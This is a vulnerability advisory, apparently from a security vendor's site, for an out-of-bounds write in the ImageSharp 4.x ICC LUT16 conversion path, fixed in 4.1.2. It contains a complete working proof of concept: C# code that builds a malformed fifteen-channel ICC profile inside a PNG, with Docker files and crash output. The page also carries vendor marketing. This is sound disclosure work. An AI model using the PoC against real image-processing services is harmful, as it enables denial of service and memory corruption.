Summary
ImageSharp: ICC LUT16 output channel count can write beyond Vector4
When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with
more than four output channels can corrupt memory during ImageSharp color
conversion. The ICC parser accepts up to 15 CLUT output channels, while the
conversion implementation stores intermediate values in Vector4.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
The reproduced ColorProfileHandling.Convert path and the unsafe Vector4 LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.
Details
IccClut accepts one through fifteen input and output channels. In the
reproduced A2B0 LUT16 path, an attacker-controlled profile declares three
input channels and fifteen output channels. ClutCalculator.Calculate
passes a pointer to a four-float Vector4 result into interpolation code that
writes one float per declared output channel. It consequently writes fifteen
floats. The same LUT16 tag also has fifteen output LUTs; theirLutEntryCalculator.CalculateLut
implementation uses Unsafe.Add from the first float of a four-float Vector4.
An application reaches this code by decoding an image containing the profile
with DecoderOptions.ColorProfileHandling set to Convert. Preserve is the
default and does not run ICC conversion.
Reproduction environment and result
The supplied exploit and control were run against the published NuGet 4.1.1net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30.
The control changes only the declared output-channel count from fifteen to
three and completes successfully. The exploit terminates with exit status 139
before it reaches the completion marker. This runtime PoC establishes memory
corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which
unsafe write first corrupts the stack. The full self-contained Docker PoC is
included below.
Complete control output:
mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0
Complete exploit output:
mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139
No active exploitation is known.
Complete PoC files
Program.cs:
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private static void U32(Stream stream, uint value)
{
Span<byte> bytes = stackalloc byte[4];
BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
stream.Write(bytes);
}
private static void U16(Stream stream, ushort value)
{
Span<byte> bytes = stackalloc byte[2];
BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
stream.Write(bytes);
}
private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));
// A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
// difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
private static byte[] BuildIcc(int outCh)
{
const int inCh = 3;
const int clutPoints = 2;
const int tableEntries = 2;
using var stream = new MemoryStream();
byte[] header = new byte[128];
BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
stream.Write(header);
U32(stream, 1); // one tag
stream.Write(Encoding.ASCII.GetBytes("A2B0"));
long offsetField = stream.Position; U32(stream, 0);
long sizeField = stream.Position; U32(stream, 0);
long tagStart = stream.Position;
stream.Write(Encoding.ASCII.GetBytes("mft2"));
U32(stream, 0);
stream.WriteByte(inCh);
stream.WriteByte((byte)outCh);
stream.WriteByte(clutPoints);
stream.WriteByte(0);
for (int y = 0; y < 3; y++)
{
for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
}
U16(stream, tableEntries);
U16(stream, tableEntries);
for (int channel = 0; channel < inCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
for (int point = 0; point < 8; point++)
{
for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
}
for (int channel = 0; channel < outCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
long tagEnd = stream.Position;
byte[] result = stream.ToArray();
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
return result;
}
private static byte[] BuildPng(byte[] icc)
{
using var source = new Image<Rgb24>(16, 16);
source.Metadata.IccProfile = new IccProfile(icc);
using var encoded = new MemoryStream();
source.SaveAsPng(encoded);
return encoded.ToArray();
}
public static int Main(string[] args)
{
string mode = args.Length == 1 ? args[0] : "exploit";
if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
int outputChannels = mode == "exploit" ? 15 : 3;
Console.WriteLine($"mode={mode} output_channels={outputChannels}");
Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
byte[] png = BuildPng(BuildIcc(outputChannels));
Console.WriteLine($"png_bytes={png.Length}");
var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
using Image image = Image.Load(options, png);
Console.WriteLine("decode_completed");
return 0;
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
<Private>true</Private>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
<Private>true</Private>
</Reference>
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY ffp7.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build ffp7.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]
Run:
docker build -t imagesharp-ffp7-poc .
docker run --rm imagesharp-ffp7-poc control
docker run --rm imagesharp-ffp7-poc exploit
Impact
Applications that enable ICC conversion while processing attacker-supplied
images can be made to terminate through memory corruption in the reproduced
LUT16 CLUT/output-LUT path. This report is limited to output-channel counts
greater than four in that path; it does not claim a TRC issue or other
unreproduced ICC paths.
A write operation targets a memory location beyond the intended buffer boundary. Typical impact: memory corruption, crash, or arbitrary code execution.
CVE-2026-106112 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-106112? CVE-2026-106112 is a high-severity out-of-bounds write vulnerability in SixLabors.ImageSharp (nuget), affecting versions >= 4.0.0, <= 4.1.1. It is fixed in 4.1.2. A write operation targets a memory location beyond the intended buffer boundary.
- How severe is CVE-2026-106112? CVE-2026-106112 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of SixLabors.ImageSharp are affected by CVE-2026-106112? SixLabors.ImageSharp (nuget) versions >= 4.0.0, <= 4.1.1 is affected.
- Is there a fix for CVE-2026-106112? Yes. CVE-2026-106112 is fixed in 4.1.2. Upgrade to this version or later.
- Is CVE-2026-106112 exploitable, and should I be worried? Whether CVE-2026-106112 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-106112 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-106112? Upgrade
SixLabors.ImageSharpto 4.1.2 or later.